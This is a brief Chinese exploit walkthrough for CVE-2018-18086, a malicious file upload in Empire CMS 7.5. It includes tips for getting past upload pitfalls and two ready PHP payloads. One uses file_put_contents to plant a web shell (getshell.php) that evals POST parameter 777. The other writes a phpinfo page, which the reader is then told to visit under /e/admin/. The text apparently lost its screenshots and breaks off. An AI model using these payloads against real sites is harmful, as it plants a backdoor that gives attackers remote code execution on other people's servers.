Empire（帝国）CMS 7.5 恶意文件上传-CVE-2018-18086

登录管理员页面：

这里经过多次测试，

直接上传一句话样本文件的话不生效（避坑），

并且$符需要做转义（避坑）,否则：

方式1：

<?php file_put_contents("getshell.php","<?php @eval(\$_POST[777]); ?>");?>

其中，函数file_put_contents()：把内容写进一个文件里。（常用函数）

方式2：

<?php file_put_contents("getphpinfo.php","<?php phpinfo(); ?>");?>

访问x.x.x.x/e/admin/getphpinfo.php：